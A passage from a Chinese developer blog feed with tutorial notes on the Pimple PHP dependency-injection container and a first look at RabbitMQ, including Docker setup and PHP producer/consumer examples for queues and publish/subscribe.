'/vendor/autoload.php';</span><br><span class="line"></span><br><span class="line">$container = new Pimple();</span><br><span class="line">$container['service'] = function () {</span><br><span class="line"> return 'service';</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line">$container['service'] = $container->extend('service', function ($service) {</span><br><span class="line"> return $service . ' extend';</span><br><span class="line">});</span><br><span class="line"></span><br><span class="line">var_dump($container['service']); // string(14) "service1 extend"</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="原始访问"><a href="#原始访问" class="headerlink" title="原始访问"></a>原始访问</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">require __DIR__ . '/vendor/autoload.php';</span><br><span class="line"></span><br><span class="line">class Service</span><br><span class="line">{</span><br><span class="line"> public function bar()</span><br><span class="line"> {</span><br><span class="line"> return 'bar';</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$container = new Pimple();</span><br><span class="line"></span><br><span class="line">$container['service'] = $container->share(function () {</span><br><span class="line"> return new Service();</span><br><span class="line">});</span><br><span class="line"></span><br><span class="line">var_dump($container['service']); // object(Service)#5 (0) {}</span><br><span class="line"></span><br><span class="line">var_dump($container->raw('service')); // object(Closure)#4 (2) {}</span><br></pre></td></tr></table></figure><h2 id="3-x"><a href="#3-x" class="headerlink" title="3.x"></a>3.x</h2><blockquote><p>为啥跳过了2.x,其实版本是有2的,但是我看官方的分支已经只有1和master了,是不是代表2不怎么维护了,嘻嘻嘻,直接看3吧,毕竟项目里面用到的是3啦,下面来讲讲有区别的地方吧</p></blockquote><h3 id="PSR-Container"><a href="#PSR-Container" class="headerlink" title="PSR Container"></a>PSR Container</h3><p>在安装3.x的时候,发现它引入了”psr/container”: “^1.0”,并且”php”: “>=7.2.5”,666,果然要与时并进,使用当下最好的规范与语言。其中,PSR Container即大名鼎鼎的<a href="https://www.php-fig.org/psr/psr-11/">PSR 11</a></p><h5 id="PSR-是-php-fig-提供的标准化建议,虽然不是官方组织,但是得到广泛认可。PSR-11-提供了容器接口。它包含-ContainerInterface-和-两个异常接口,并提供使用建议。"><a href="#PSR-是-php-fig-提供的标准化建议,虽然不是官方组织,但是得到广泛认可。PSR-11-提供了容器接口。它包含-ContainerInterface-和-两个异常接口,并提供使用建议。" class="headerlink" title="PSR 是 php-fig 提供的标准化建议,虽然不是官方组织,但是得到广泛认可。PSR-11 提供了容器接口。它包含 ContainerInterface 和 两个异常接口,并提供使用建议。"></a>PSR 是 php-fig 提供的标准化建议,虽然不是官方组织,但是得到广泛认可。PSR-11 提供了容器接口。它包含 ContainerInterface 和 两个异常接口,并提供使用建议。</h5><h3 id="SplObjectStorage"><a href="#SplObjectStorage" class="headerlink" title="SplObjectStorage"></a>SplObjectStorage</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">public function __construct(array $values = [])</span><br><span class="line">{</span><br><span class="line"> $this->factories = new \SplObjectStorage();</span><br><span class="line"> $this->protected = new \SplObjectStorage();</span><br><span class="line"></span><br><span class="line"> foreach ($values as $key => $value) {</span><br><span class="line"> $this->offsetSet($key, $value);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>可以看到,在源码里,factories和protected都使用了<a href="https://www.php.net/manual/zh/class.splobjectstorage.php">SplObjectStorage</a></p><p>即同时继承了Countable , Iterator , Serializable , ArrayAccess接口,拥有很多方法</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line">SplObjectStorage implements Countable , Iterator , Serializable , ArrayAccess {</span><br><span class="line"> // 从另一个存储添加所有对象</span><br><span class="line"> public addAll ( SplObjectStorage $storage ) : void</span><br><span class="line"> </span><br><span class="line"> // 在存储中添加一个对象</span><br><span class="line"> public attach ( object $object , mixed $data = null ) : void</span><br><span class="line"> </span><br><span class="line"> // 检查存储是否包含特定对象</span><br><span class="line"> public contains ( object $object ) : bool</span><br><span class="line"> </span><br><span class="line"> // 返回存储中的对象数</span><br><span class="line"> public count ( ) : int</span><br><span class="line"> </span><br><span class="line"> // 返回当前的存储条目</span><br><span class="line"> public current ( ) : object</span><br><span class="line"> </span><br><span class="line"> // 从存储中删除对象</span><br><span class="line"> public detach ( object $object ) : void</span><br><span class="line"> </span><br><span class="line"> // 计算所包含对象的唯一标识符</span><br><span class="line"> public getHash ( object $object ) : string</span><br><span class="line"> </span><br><span class="line"> // 返回与当前迭代器条目关联的数据</span><br><span class="line"> public getInfo ( ) : mixed</span><br><span class="line"> </span><br><span class="line"> // 返回当前迭代器所在的索引</span><br><span class="line"> public key ( ) : int</span><br><span class="line"> </span><br><span class="line"> // 移至下一个条目</span><br><span class="line"> public next ( ) : void</span><br><span class="line"> </span><br><span class="line"> // 检查存储中是否存在对象</span><br><span class="line"> public offsetExists ( object $object ) : bool</span><br><span class="line"> </span><br><span class="line"> // 返回与对象关联的数据</span><br><span class="line"> public offsetGet ( object $object ) : mixed</span><br><span class="line"> </span><br><span class="line"> // 将数据关联到存储中的对象</span><br><span class="line"> public offsetSet ( object $object , mixed $data = null ) : void</span><br><span class="line"> </span><br><span class="line"> // 从存储中删除一个对象</span><br><span class="line"> public offsetUnset ( object $object ) : void</span><br><span class="line"> </span><br><span class="line"> // 从当前存储中删除另一个存储中包含的对象</span><br><span class="line"> public removeAll ( SplObjectStorage $storage ) : void</span><br><span class="line"> </span><br><span class="line"> // 从当前存储中删除除另一个存储中包含的对象以外的所有对象</span><br><span class="line"> public removeAllExcept ( SplObjectStorage $storage ) : void</span><br><span class="line"> </span><br><span class="line"> // 将迭代器后退到第一个存储元素</span><br><span class="line"> public rewind ( ) : void</span><br><span class="line"> </span><br><span class="line"> // 序列化存储</span><br><span class="line"> public serialize ( ) : string</span><br><span class="line"> </span><br><span class="line"> // 设置与当前迭代器条目关联的数据</span><br><span class="line"> public setInfo ( mixed $data ) : void</span><br><span class="line"> </span><br><span class="line"> // 从其字符串表示形式反序列化存储</span><br><span class="line"> public unserialize ( string $serialized ) : void</span><br><span class="line"> </span><br><span class="line"> // 返回当前迭代器条目是否有效</span><br><span class="line"> public valid ( ) : bool</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="工厂factory"><a href="#工厂factory" class="headerlink" title="工厂factory"></a>工厂factory</h3><p>现在的默认情况,每次获得实例都会返回相同的实例,使用factory将每次返回新的实例,跟1.x是反过来的</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">use Pimple\Container;</span><br><span class="line"></span><br><span class="line">require __DIR__ . '/vendor/autoload.php';</span><br><span class="line"></span><br><span class="line">class Service</span><br><span class="line">{</span><br><span class="line"> public function __construct()</span><br><span class="line"> {</span><br><span class="line"> echo 'share仅调用一次实例' . PHP_EOL;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> public function bar()</span><br><span class="line"> {</span><br><span class="line"> return 'bar';</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$container = new Container();</span><br><span class="line"></span><br><span class="line">$container['service'] = function () {</span><br><span class="line"> return new Service();</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line">/** @var Service $service */</span><br><span class="line">$service = $container['service']; // share仅调用一次实例</span><br><span class="line">echo $service->bar() . PHP_EOL; // bar</span><br><span class="line"></span><br><span class="line">/** @var Service $service */</span><br><span class="line">$service = $container['service']; // 不出现实例信息</span><br><span class="line">echo $service->bar() . PHP_EOL; // bar</span><br></pre></td></tr></table></figure><h3 id="注册容器"><a href="#注册容器" class="headerlink" title="注册容器"></a>注册容器</h3><p>通过接口定义,注册服务,方便解耦</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">use Pimple\Container;</span><br><span class="line"></span><br><span class="line">class FooProvider implements Pimple\ServiceProviderInterface</span><br><span class="line">{</span><br><span class="line"> public function register(Container $pimple)</span><br><span class="line"> {</span><br><span class="line"> // register some services and parameters</span><br><span class="line"> // on $pimple</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$pimple->register(new FooProvider());</span><br></pre></td></tr></table></figure><h3 id="使用方式"><a href="#使用方式" class="headerlink" title="使用方式"></a>使用方式</h3><p>哈哈哈,我自己的代码太low了,这里介绍一个用pimple写的开源代码</p><ul><li><a href="https://github.com/overtrue/wechat">easywechat</a></li><li><a href="https://github.com/mingyoung/dingtalk">dingtalk</a></li></ul><p>了解了一些基础概念[ArrayAccess、闭包和匿名函数、SplObjectStorage、服务、容器、注册]之后,应该是很好理解这些代码的</p><h2 id="个人学习代码"><a href="#个人学习代码" class="headerlink" title="个人学习代码"></a>个人学习代码</h2><ul><li><a href="https://github.com/lihq1403/gadget/tree/master/composer/pimple">https://github.com/lihq1403/gadget/tree/master/composer/pimple</a></li></ul>]]></content>
<summary type="html">
<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla
</summary>
<category term="分享" scheme="https://blog.lihq.xyz/categories/%E5%88%86%E4%BA%AB/"/>
<category term="php" scheme="https://blog.lihq.xyz/tags/php/"/>
<category term="composer" scheme="https://blog.lihq.xyz/tags/composer/"/>
</entry>
<entry>
<title>RabbitMQ 初体验</title>
<link href="https://blog.lihq.xyz/2020/08/13/rabbitmq-first-experience/"/>
<id>https://blog.lihq.xyz/2020/08/13/rabbitmq-first-experience/</id>
<published>2020-08-13T13:39:00.000Z</published>
<updated>2025-09-18T07:56:12.967Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="RabbitMQ-初体验"><a href="#RabbitMQ-初体验" class="headerlink" title="RabbitMQ 初体验"></a>RabbitMQ 初体验</h1><h3 id="RabbitMQ介绍"><a href="#RabbitMQ介绍" class="headerlink" title="RabbitMQ介绍"></a>RabbitMQ介绍</h3><ul><li><p>MQ是 message queue 的简称,是应用程序和应用程序之间通信的方法。</p></li><li><p>RabbitMQ是一个由erlang语言编写的、开源的、在AMQP基础上完整的、可复用的企业消息系统。支持多种语言,包括java、Python、ruby、PHP、C/C++等。</p></li><li><p>AMQP:advanced message queuing protocol ,一个提供统一消息服务的应用层标准高级消息队列协议,是应用层协议的一个开放标准,为面向消息的中间件设计。基于此协议的客户端与消息中间件可传递消息并不受客户端/中间件不同产品、不同开发语言等条件的限制。</p></li><li><p>实用优点:应用解耦,流量削峰,异步处理</p></li></ul><h3 id="RabbitMQ安装"><a href="#RabbitMQ安装" class="headerlink" title="RabbitMQ安装"></a>RabbitMQ安装</h3><ul><li><a href="https://hub.docker.com/_/rabbitmq">https://hub.docker.com/_/rabbitmq</a></li></ul><p>自从有了docker,妈妈再也不担心我安装软件啦</p><p>为了方便管理docker容器,我们采用compose的方式运行</p><blockquote><p>tips: management版本是带web管理工具的</p></blockquote><h4 id="1、超级简单版本"><a href="#1、超级简单版本" class="headerlink" title="1、超级简单版本"></a>1、超级简单版本</h4><h6 id="一键启动"><a href="#一键启动" class="headerlink" title="一键启动"></a>一键启动</h6><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker run -d --name rabbitmq -e RABBITMQ_DEFAULT_USER=guest -e RABBITMQ_DEFAULT_PASS=guest -p 15672:15672 -p 5672:5672 rabbitmq:management</span><br></pre></td></tr></table></figure><h4 id="2、看起来好看版本"><a href="#2、看起来好看版本" class="headerlink" title="2、看起来好看版本"></a>2、看起来好看版本</h4><h6 id="docker-compose-yml"><a href="#docker-compose-yml" class="headerlink" title="docker-compose.yml"></a>docker-compose.yml</h6><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">version: '2'</span><br><span class="line">services:</span><br><span class="line"> rabbitmq:</span><br><span class="line"> image: rabbitmq:management</span><br><span class="line"> container_name: rabbitmq</span><br><span class="line"> hostname: myrabbitmq</span><br><span class="line"> ports:</span><br><span class="line"> - 15672:15672</span><br><span class="line"> - 5672:5672</span><br><span class="line"> environment:</span><br><span class="line"> - RABBITMQ_DEFAULT_USER=guest</span><br><span class="line"> - RABBITMQ_DEFAULT_PASS=guest</span><br><span class="line"> restart: always</span><br><span class="line"> # 里面的/var/lib/rabbitmq/.erlang.cookie 需要600权限</span><br><span class="line"> volumes:</span><br><span class="line"> - ./data:/var/lib/rabbitmq</span><br></pre></td></tr></table></figure><h6 id="启动"><a href="#启动" class="headerlink" title="启动"></a>启动</h6><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker-compose up -d</span><br></pre></td></tr></table></figure><h6 id="检查"><a href="#检查" class="headerlink" title="检查"></a>检查</h6><ol><li>docker ps 查看状态</li><li>访问 localhost:15762 查看web管理页面</li></ol><h6 id="卸载"><a href="#卸载" class="headerlink" title="卸载"></a>卸载</h6><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker-compose down</span><br></pre></td></tr></table></figure><h3 id="尝试实用"><a href="#尝试实用" class="headerlink" title="尝试实用"></a>尝试实用</h3><blockquote><p>官方文档:<a href="https://www.rabbitmq.com/getstarted.html">https://www.rabbitmq.com/getstarted.html</a></p></blockquote><h5 id="1、Hello-World"><a href="#1、Hello-World" class="headerlink" title="1、Hello World"></a>1、<a href="https://www.rabbitmq.com/tutorials/tutorial-one-php.html">Hello World</a></h5><blockquote><p>单发送单接收:简单的发送与接收,没有特别的处理</p></blockquote><p><img src="https://www.rabbitmq.com/img/tutorials/python-one.png" alt="python-one"></p><p>代码示例</p><h6 id="send-php"><a href="#send-php" class="headerlink" title="send.php"></a>send.php</h6><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">require_once __DIR__ . '/../vendor/autoload.php';</span><br><span class="line"></span><br><span class="line">// 连接RabbitMQ</span><br><span class="line">$connection = new \PhpAmqpLib\Connection\AMQPStreamConnection('localhost', 5672, 'guest', 'guest');</span><br><span class="line">// 创建一个通道</span><br><span class="line">$channel = $connection->channel();</span><br><span class="line">// 声明一个队列</span><br><span class="line">$channel->queue_declare('hello', false, false, false, false);</span><br><span class="line"></span><br><span class="line">$msg = new \PhpAmqpLib\Message\AMQPMessage('Hello World');</span><br><span class="line">$channel->basic_publish($msg, '', 'hello');</span><br><span class="line"></span><br><span class="line">echo " [x] Sent 'Hello World!'\n";</span><br><span class="line"></span><br><span class="line">$channel->close();</span><br><span class="line">$connection->close();</span><br></pre></td></tr></table></figure><h6 id="receive-php"><a href="#receive-php" class="headerlink" title="receive.php"></a>receive.php</h6><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">require_once __DIR__ . '/../vendor/autoload.php';</span><br><span class="line"></span><br><span class="line">// 连接RabbitMQ</span><br><span class="line">$connection = new \PhpAmqpLib\Connection\AMQPStreamConnection('localhost', 5672, 'guest', 'guest');</span><br><span class="line">// 创建一个通道</span><br><span class="line">$channel = $connection->channel();</span><br><span class="line">// 声明一个队列</span><br><span class="line">$channel->queue_declare('hello', false, false, false, false);</span><br><span class="line"></span><br><span class="line">echo ' [*] Waiting for messages. To exit press CTRL+C', "\n";</span><br><span class="line"></span><br><span class="line">$callback = function ($msg) {</span><br><span class="line"> echo " [x] Received ", $msg->body, "\n";</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line">$channel->basic_consume('hello', '', false, true, false, false, $callback);</span><br><span class="line"></span><br><span class="line">while (count($channel->callbacks)) {</span><br><span class="line"> $channel->wait();</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>发送测试:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ php HelloWord/send.php</span><br><span class="line"> [x] Sent 'Hello World!'</span><br></pre></td></tr></table></figure><p>接受测试:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$ php HelloWord/receive.php</span><br><span class="line"> [*] Waiting for messages. To exit press CTRL+C</span><br><span class="line"> [x] Received Hello World</span><br></pre></td></tr></table></figure><h5 id="2、Work-queues"><a href="#2、Work-queues" class="headerlink" title="2、Work queues"></a>2、Work queues</h5><blockquote><p>单发送多接收:一个发送端,多个接收端,如分布式的任务派发</p></blockquote><p><img src="https://www.rabbitmq.com/img/tutorials/python-two.png" alt="python-two"></p><h6 id="new-task-php"><a href="#new-task-php" class="headerlink" title="new_task.php"></a>new_task.php</h6><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">require_once __DIR__ . '/../vendor/autoload.php';</span><br><span class="line"></span><br><span class="line">use PhpAmqpLib\Message\AMQPMessage;</span><br><span class="line"></span><br><span class="line">$connection = new \PhpAmqpLib\Connection\AMQPStreamConnection('localhost', 5672, 'guest', 'guest');</span><br><span class="line">$channel = $connection->channel();</span><br><span class="line"></span><br><span class="line">$channel->queue_declare('task_queue', false, true, false, false);</span><br><span class="line"></span><br><span class="line">$data = implode(' ', array_slice($argv, 1));</span><br><span class="line">if (empty($data)) {</span><br><span class="line"> $data = "Hello World!";</span><br><span class="line">}</span><br><span class="line">$msg = new AMQPMessage(</span><br><span class="line"> $data,</span><br><span class="line"> [</span><br><span class="line"> 'delivery_mode' => AMQPMessage::DELIVERY_MODE_PERSISTENT</span><br><span class="line"> ]</span><br><span class="line">);</span><br><span class="line"></span><br><span class="line">$channel->basic_publish($msg, '', 'task_queue');</span><br><span class="line"></span><br><span class="line">echo '[x] Sent ', $data, "\n";</span><br><span class="line"></span><br><span class="line">$channel->close();</span><br><span class="line">$connection->close();</span><br></pre></td></tr></table></figure><h6 id="worker-php"><a href="#worker-php" class="headerlink" title="worker.php"></a>worker.php</h6><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">require_once __DIR__ . '/../vendor/autoload.php';</span><br><span class="line"></span><br><span class="line">// 连接RabbitMQ</span><br><span class="line">$connection = new \PhpAmqpLib\Connection\AMQPStreamConnection('localhost', 5672, 'guest', 'guest');</span><br><span class="line">// 创建一个通道</span><br><span class="line">$channel = $connection->channel();</span><br><span class="line">// 声明一个队列</span><br><span class="line">$channel->queue_declare('task_queue', false, true, false, false);</span><br><span class="line"></span><br><span class="line">echo " [*] Waiting for messages. To exit press CTRL+C\n";</span><br><span class="line"></span><br><span class="line">$callback = function ($msg) {</span><br><span class="line"> echo ' [x] Received ', $msg->body, "\n";</span><br><span class="line"> // 假装耗时任务,一个.代表1秒</span><br><span class="line"> sleep(substr_count($msg->body, '.'));</span><br><span class="line"> echo " [x] Done\n";</span><br><span class="line"> // 消费者发送回一个确认</span><br><span class="line"> $msg->delivery_info['channel']->basic_ack($msg->delivery_info['delivery_tag']);</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line">$channel->basic_qos(null, 1, null);</span><br><span class="line">$channel->basic_consume('task_queue', '', false, false, false, false, $callback);</span><br><span class="line"></span><br><span class="line">while ($channel->is_consuming()) {</span><br><span class="line"> $channel->wait();</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$channel->close();</span><br><span class="line">$connection->close();</span><br></pre></td></tr></table></figure><p>开启两个worker:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ php WorkQueues/worker.php</span><br><span class="line"> [*] Waiting for messages. To exit press CTRL+C</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ php WorkQueues/worker.php</span><br><span class="line"> [*] Waiting for messages. To exit press CTRL+C</span><br></pre></td></tr></table></figure><p>发送任务:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$ php WorkQueues/new_task.php "第一个任务耗时5秒....."</span><br><span class="line"> [x] Sent 第一个任务耗时5秒.....</span><br><span class="line">$ php WorkQueues/new_task.php "第二个任务耗时5秒....."</span><br><span class="line"> [x] Sent 第二个任务耗时5秒.....</span><br></pre></td></tr></table></figure><p>这时候第1个worker开始工作,第2个任务进来之后,就循环顺延到下一个worker</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$ php WorkQueues/worker.php</span><br><span class="line"> [*] Waiting for messages. To exit press CTRL+C</span><br><span class="line"> [x] Received 第一个任务耗时5秒.....</span><br><span class="line"> [x] Done</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$ php WorkQueues/worker.php</span><br><span class="line"> [*] Waiting for messages. To exit press CTRL+C</span><br><span class="line"> [x] Received 第二个任务耗时5秒.....</span><br><span class="line"> [x] Done</span><br></pre></td></tr></table></figure><h5 id="3、Publish-Subscribe"><a href="#3、Publish-Subscribe" class="headerlink" title="3、Publish/Subscribe"></a>3、Publish/Subscribe</h5><blockquote><p>发布/订阅模式:发送端发送广播消息,多个接收端接收</p></blockquote><p><img src="https://www.rabbitmq.com/img/tutorials/python-three.png" alt="python-three"></p><h6 id="receive-logs-php"><a href="#receive-logs-php" class="headerlink" title="receive_logs.php"></a>receive_logs.php</h6><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">require_once __DIR__ . '/../vendor/autoload.php';</span><br><span class="line">use PhpAmqpLib\Connection\AMQPStreamConnection;</span><br><span class="line"></span><br><span class="line">$connection = new AMQPStreamConnection('localhost', 5672, 'guest', 'guest');</span><br><span class="line">$channel = $connection->channel();</span><br><span class="line"></span><br><span class="line">$channel->exchange_declare('logs', 'fanout', false, false, false);</span><br><span class="line"></span><br><span class="line">list($queue_name, ,) = $channel->queue_declare("", false, false, true, false);</span><br><span class="line"></span><br><span class="line">$channel->queue_bind($queue_name, 'logs');</span><br><span class="line"></span><br><span class="line">echo " [*] Waiting for logs. To exit press CTRL+C\n";</span><br><span class="line"></span><br><span class="line">$callback = function ($msg) {</span><br><span class="line"> echo ' [x] ', $msg->body, "\n";</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line">$channel->basic_consume($queue_name, '', false, true, false, false, $callback);</span><br><span class="line"></span><br><span class="line">while ($channel->is_consuming()) {</span><br><span class="line"> $channel->wait();</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$channel->close();</span><br><span class="line">$connection->close();</span><br></pre></td></tr></table></figure><h6 id="emit-log-php"><a href="#emit-log-php" class="headerlink" title="emit_log.php"></a>emit_log.php</h6><figure class="highlight 